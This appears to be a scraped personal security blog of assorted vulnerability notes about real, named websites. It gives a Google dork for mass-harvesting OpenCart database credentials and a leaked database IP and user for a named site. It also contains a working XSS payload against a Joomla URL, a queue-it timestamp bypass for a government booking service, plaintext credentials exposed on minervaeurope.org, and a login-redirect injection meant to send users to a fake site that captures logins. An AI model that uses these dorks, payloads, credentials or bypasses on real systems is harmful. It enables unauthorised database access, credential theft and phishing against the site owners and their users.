pro(re)gress

        video { object - fit : inherit ; }  

 The string should be composed of two parts separated by a dash/minus: 1) an md5 string 2) a variable string with the "data center" subdomain name.  This function checks if the api key is (somewhat) correct.     private function isApiKeyValid($api_key){         return !empty( preg_match('#^[a-z0-9]{32}-[a-z0-9]{3,}$#i', $api_key) );     }

Opencart have a serious leak of database informations when there's a database connection error. The fix/workaround can be downloaded here Is it a problem? With a simple script I got ~800.000 results and I've been able to scrap more than ~30.000 (in hours due to google limitations) and dumped more than 500 complete databases (those without restrictions from remote connections). From accessing the db several things can be done, even writing files, replacing informations (ex. malicious scripts, the paypal account, etc), getting more rights, etc. I just proved that it can be done and nothing else.  ----------------------------   You can add the domain TLD to have more results from google. I even found some important websites.   something like that https://www.google.com/search?q=system\library\db.php(31):+DB\MySQLi->__construct( I took the first results from my search (and replaced the passwords): berardomacchine.com '89.46.111.189', 'Sql1428497', '####'...

XSS https://extensions.joomla.org/instant-search/?jed_live[query]=recaptcha&jed_live[refinementList][versions][0]=fantastic <img src=x:alert(alt) onerror=eval(src) alt="Merry xssmas!"> Archived page: https://archive.is/wip/kCTik  Note: Bug reported to joomla.org on 30/11/2020

   Open tamper data (firefox) or any other application (like a proxy to tamper data) and check the post requests. When you get something like that  https://sogei.queue-it.net/?c=sogei&e=mobutente2020&q=52fddcda-579f-46b2-bb44-6c4ddf68e730&cv=[unixtimestamp]&cid=it-IT Set the unixtimestamp to a future date ex. if you the current value is 1604445083694 replace with 1774445083694 (2026+). I used just 1774495521 and it works. ex. https://sogei.queue-it.net/?c=sogei&e=mobutente2020&q=52fddcda-579f-46b2-bb44-6c4ddf68e730&cv=1774495521&cid=it-IT      

       https://www.minervaeurope.org/login.asp     user             = "ist"     pwd             = "minerva"   https://www.minervaeurope.org/newslettereng/conn.asp username = "minervaeurope" ' Change this to your preferred username. password = "minervanewsletter" ' Change this to your preferred password. archived: https://archive.is/XfdZL The "museo web cms" (asp?) and "Glizy Framework" have several vulnerabilities. ------------------------------- source code? https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/tutorial.html https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/MWCMS_manuale_150.zip

    Example: If the user tries to login we can redirect him to a different (fake) website that saves the login informations.  www.benitutelati.it/page/login.asp?Type=";strUrl="http://www.google.com";a="         List of all benitutelati from http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1 to http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1339999